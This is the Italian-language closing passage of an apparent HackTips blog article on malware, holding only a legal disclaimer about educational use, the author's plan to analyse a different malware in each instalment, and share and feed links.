Ricordo che tutto ciò che è scritto nell’articolo è a scopo divulgativo. Ogni utilizzo illecito di questi software è illegale e perseguibile penalmente. Spero possa interessare come argomento, sicuramente penso di continuare con la serie e cambiare di volta in volta malware, in modo da analizzare ogni aspetto di essi.

Facebooktwittergoogle_plusredditlinkedinmail

Se ti è piaciuto l'articolo condividi, dona, spargi il verbo! HackTips

Viewing all 123 articles
Browse latest View live